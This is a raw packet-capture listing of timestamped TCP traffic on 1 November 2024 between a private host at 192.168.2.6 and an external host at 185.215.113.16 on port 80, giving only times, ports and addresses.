Nov 1, 2024 03:45:24.631500006 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.653851986 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.653878927 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.653889894 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.653933048 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.653944016 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.653965950 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.654150963 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.676213980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.676234007 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.676245928 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.676362991 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.676398993 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.676433086 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.676445961 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.676470041 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.676505089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.676517010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.676585913 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.676597118 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.676608086 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.676619053 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.676714897 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.676889896 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.676901102 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.676913023 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.676959991 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.676995039 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.676995039 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.728096008 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.743138075 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743177891 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743190050 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743278027 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743289948 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743307114 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.743356943 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743371964 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743464947 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743475914 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743485928 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743494987 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.743499041 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743511915 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743550062 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.743638039 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743649960 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743655920 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.743663073 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743755102 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743766069 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743777990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743876934 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743940115 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743952990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743953943 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.743953943 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.743963003 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743976116 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743988037 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.743998051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.744024992 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.744177103 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.744189024 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.744231939 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.744242907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.744256973 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.744256973 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.744259119 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.744271040 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.744285107 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.744313955 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.744401932 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.744491100 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.744502068 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.744513035 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.744533062 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.744544029 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.744554996 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.744566917 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.744576931 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.744579077 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.744579077 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.744612932 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.744630098 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.744868040 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.744879961 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.744889975 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.744961977 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.744978905 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.745062113 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745074034 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745085955 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745096922 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745106936 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745117903 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745127916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745146036 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.745263100 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.745297909 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745436907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745449066 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745459080 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745471001 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745481968 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745493889 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745501995 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745512009 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745522976 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745532036 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745543957 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745554924 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745560884 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.745560884 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.745560884 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.745661974 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.745774031 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.745915890 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745929003 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745939016 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745950937 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.745966911 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.746002913 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.746061087 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.746192932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.746202946 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.746212959 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.746223927 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.746233940 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.746243954 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.746254921 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.746260881 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.746265888 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.746278048 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.746289015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.746299982 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.746316910 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.746316910 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.746421099 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.746421099 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.746567011 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.746578932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.746589899 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.746601105 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.746694088 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.746786118 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.769124031 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.769162893 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.769174099 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.769184113 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.769270897 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.791503906 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.791515112 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.791524887 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.791543007 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.791579008 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.791620016 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.791662931 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.791723013 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.791735888 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.791781902 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.791810989 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.791826010 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.791836023 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.791847944 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.791858912 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.791914940 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.791925907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.791946888 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.792042971 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.792175055 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.792201042 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.792211056 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.792253017 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.792454004 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.837610960 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.837634087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.837651968 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.837788105 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.858459949 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.858488083 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.858500957 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.858582973 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.858594894 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.858617067 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.858617067 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.858666897 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.858675003 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.858685970 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.858696938 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.858788967 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.858799934 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.858803034 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.858871937 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.858875036 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.858882904 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.858894110 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.858905077 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.858918905 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.858957052 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.859002113 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859011889 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859023094 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859034061 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859045982 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859061956 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.859061956 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.859168053 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.859184027 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859195948 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859201908 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859215975 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859241962 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.859291077 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.859383106 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859394073 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859404087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859416008 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859447002 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.859467030 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859477043 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859487057 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859527111 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.859548092 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859566927 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859570980 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.859579086 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859591007 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859600067 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.859602928 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859615088 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859642982 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.859896898 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859908104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859918118 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859930992 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859942913 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.859942913 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.859967947 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.859967947 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.860122919 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.860126019 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.860138893 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.860148907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.860161066 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.860172033 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.860183001 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.860200882 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.860200882 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.860363007 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.860374928 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.860382080 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.860388041 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.860399961 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.860424042 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.860428095 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.860441923 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.860455036 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.860457897 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.860466003 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.860476971 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.860488892 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.860502005 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.860508919 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.860517025 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.860537052 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.860605955 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.860882044 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.860964060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.860977888 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.860990047 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861001968 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861012936 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861025095 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.861041069 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.861090899 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.861277103 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861289024 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861301899 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861314058 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861325026 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861336946 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861349106 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861354113 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.861361980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861375093 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861387014 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861388922 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.861423016 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.861510992 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.861649990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861789942 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861800909 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861810923 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861824036 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861835957 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861846924 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861849070 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.861867905 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861880064 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861888885 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861898899 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.861898899 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.861901045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861913919 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.861927986 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.861965895 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.861965895 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.884568930 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.884583950 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.884596109 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.884728909 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.906845093 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.906867027 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.906877995 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.906889915 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.906920910 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.906985998 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.906996965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.907016993 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.907072067 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.907078981 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.907083988 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.907094955 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.907145023 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.907145023 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.907164097 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.907176971 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.907206059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.907222033 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.907229900 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.907309055 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.907577991 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.907628059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.907639027 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.907773972 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.953046083 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.953071117 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.953083992 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.953202009 CET	49750	80	192.168.2.6	185.215.113.16
